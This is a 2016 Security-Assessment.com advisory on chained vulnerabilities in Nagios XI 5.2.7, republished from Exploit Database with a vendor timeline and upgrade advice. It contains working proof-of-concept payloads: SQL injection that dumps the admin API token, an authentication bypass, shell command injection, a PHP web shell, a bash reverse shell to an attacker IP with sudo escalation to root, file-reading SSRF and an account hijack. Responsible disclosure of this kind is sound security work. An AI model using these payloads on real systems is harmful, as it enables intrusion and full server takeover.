Nagios XI 5.2.7 – Multiple Vulnerabilities

Exploit Database
128 阅读

作者： Security-Assessment.com

日期： 2016-06-06
类别：
- webapps
平台：
- php
来源：https://www.exploit-db.com/exploits/39899/

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(, ) (,

. '.' ) ('.',

). , ('. ( ) (

(_,) .'), ) _ _,

/_____// _\________ _____

\____\==/ /_\\ _/ ___\/_ \ / \

/ \/ |\\\__(<_> )Y Y\

/______/\___|__/ \___>____/|__|_|/

\/ \/.-.\/ \/:wq

(x.0)

'=.|w|.='

_=''"''=.

presents..

Nagios XI Multiple Vulnerabilities

Affected versions: Nagios XI <= 5.2.7

PDF:

http://www.security-assessment.com/files/documents/advisory/NagiosXI-Advisory.pdf

+-----------+

|Description|

+-----------+

The Nagios XI application is affected by multiple security

vulnerabilities, including unauthenticated SQL injection and

authentication bypass, arbitrary code execution via command injection,

privilege escalation, server-side request forgery and account hijacking.

These vulnerabilities can be chained together to obtain unauthenticated

remote code execution as the root user.

+------------+

|Exploitation|

+------------+

==SQL Injection==

The ‘host’ and ‘service’ GET parameters in the ‘nagiosim.php’ page are

vulnerable to SQL injection via error-based payloads. An attacker can

exploit this vulnerability to retrieve sensitive information from the

application’s MySQL database such as the administrative users’ password

hash (unsalted MD5) or the token used to authenticate to the Nagios XI

REST API. This security issue is aggravated by the fact that an attacker

can directly browse to the vulnerable page and exploit the vulnerability

without providing a valid session cookie.

[POC - DUMP ADMIN API TOKEN]

GET

/nagiosxi/includes/components/nagiosim/nagiosim.php?mode=resolve&host=a&service='+AND+

(SELECT+1+FROM(SELECT+COUNT(*),CONCAT('|APIKEY|',(SELECT+MID((IFNULL(CAST(backend_ticket+AS

+CHAR),0x20)),1,54)+FROM+xi_users+WHERE+user_id%3d1+LIMIT+0,1),'|APIKEY|',FLOOR(RAND(0)*2))

x+FROM+INFORMATION_SCHEMA.CHARACTER_SETS+GROUP+BY+x)a)+OR+' HTTP/1.1

The API token can be reused to bypass authentication either by creating

a user via the REST API or through the Rapid Response functionality as

shown below.

[POC- BYPASS AUTHENTICATION THROUGH RAPID RESPONSE FUNCTIONALITY]

// uid == <user_id>-<object_id>-<MD5(api token)>, object id value

doesn't matter

GET /nagiosxi/rr.php?uid=1-b-<hash> HTTP/1.1

==Command Injection==

Multiple command injection vulnerabilities exist in the Nagios XI web

interface due to unescaped user input being passed to shell functions as

an argument. This issues can be exploited to inject arbitrary shell

commands and obtain remote code execution in the context of the 'apache'

user.

URL => GET

/nagiosxi/includes/components/nagiosim/nagiosim.php?mode=update&token=<api

token>&incident_id=<valid incident id>&title=<PAYLOAD>&status=<any value>

PARAMETER => title

POC PAYLOAD => title'; touch /tmp/FILE; echo '

URL => GET

/nagiosxi/includes/components/perfdata/graphApi.php?host=<any monitored

host IP>&start=<PAYLOAD>&end=<PAYLOAD>

PARAMETERS=> start, end

POC PAYLOAD => 1; touch /tmp/FILE;

==Privilege Escalation==

The Nagios XI default sudoers configuration can be abused to elevate

privileges to root due to an insecure implementation of the

application’s component upload functionality. The ‘apache’ user can run

the getprofile.sh script with root privileges without being prompted for

a password. The getprofile.sh script is part of the Profile component

along with the following files:

- profile.php, the PHP script that outputs the system information.

- profile.inc.php, a PHP include file with required functionality for

profile.php.

An attacker can backdoor the profile.php file with a function to execute

arbitrary shell commands (e.g. <?php system($_GET['cmd']); ?> ), replace

the getprofile.sh file with a malicious payload (e.g. “#!/bin/bash bash

–i >& /dev/tcp/<IP>/<PORT> 0>&1”) and finally create a ‘profile.zip’

archive containing the malicious component files. Once uploaded, the

application will unzip the component archive and overwrite the existing

profile directory and its files, including getprofile.sh.

[POC - MALICIOUS 'profile.zip' COMPONENT ARCHIVE]

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vREAAAAA

[POC - PRIVILEGE ESCALATION EXPLOITATION]

GET /nagiosxi/includes/components/profile/profile.php?cmd=sudo

./getprofile.sh

The default Profile component archive can be downloaded at the following

link:

https://assets.nagios.com/downloads/nagiosxi/components/profile.zip

==Server-Side Request Forgery==

Multiple server-side request forgery vulnerabilities exist in the Nagios

XI application. An attacker can provide arbitrary data to curl_exec

calls to port scan internal services listening on localhost, read files

on the Nagios XI server file system or send data to other hosts in the

same internal network where the Nagios XI server is deployed.

// the application filter the string 'file://' can be bypassed by

converting the handler to uppercase

URL => GET /nagiosxi/ajaxproxy.php?proxyurl=<PAYLOAD>

PARAMETER => proxyurl

POC PAYLOAD => FILE:///<path>/<file>

URL => GET /nagiosxi/backend/?cmd=geturlhtml&url=<PAYLOAD>

PARAMETER => url

POC PAYLOAD => file:///<path>/<file>

==Account Hijacking==

The Nagios XI application is vulnerable to an arbitrary account

hijacking vulnerability due to an insecure implementation of the

password reset functionality. The application does not enforce any

verification to confirm the provided reset token can only be used to

change the login credentials for the specific user for which it was

generated. A limited user can therefore abuse the password reset

functionality to hijack an administrative account by tampering with the

‘username’ hidden parameter during the password reset process.

[POC - ACCOUNT HIJACKING 'nagiosadmin']

POST /nagiosxi/login.php?finishresetpass&username=stduser&token-<reset

token> HTTP/1.1

token=<reset

token>&username=nagiosadmin&password1=<PASSWORD>&password2=<PASSWORD>&reset=1

+----------+

| Solution |

+----------+

Upgrade to Nagios XI 5.2.8.

Please note at the time of this writing the privilege escalation

vulnerability is still unpatched. The SSRF vulnerabilities have been

only partially fixed by blacklisting the 'file://' handler, but all the

other SSRF attack vectors are still exploitable. Vendor stated these

vulnerabilities will be likely patched on the next release of the

application as they require authentication and as such are not

considered major security issues.

+------------+

|Timeline|

+------------+

13/05/2016 – Initial disclosure to vendor

14/05/2016 – Vendor confirms receipt of advisory

25/05/2016 – Vendor provides fixes for most of the vulnerabilities

25/05/2016 – Enquiry about the status of fixes for the unpatched

vulnerabilities

26/05/2016 – Vendor responded with “Since the major issues have been

fixed and the remaining issues I'd like to touch up are only available

if the user is logged in, or logged in as admin, I don't see a reason to

hold onto releasing the advisory.”

2/06/2016 – Public disclosure

+------------+

| Additional |

+------------+

Further information is available in the accompanying PDF.

http://www.security-assessment.com/files/documents/advisory/NagiosXI-Advisory.pdf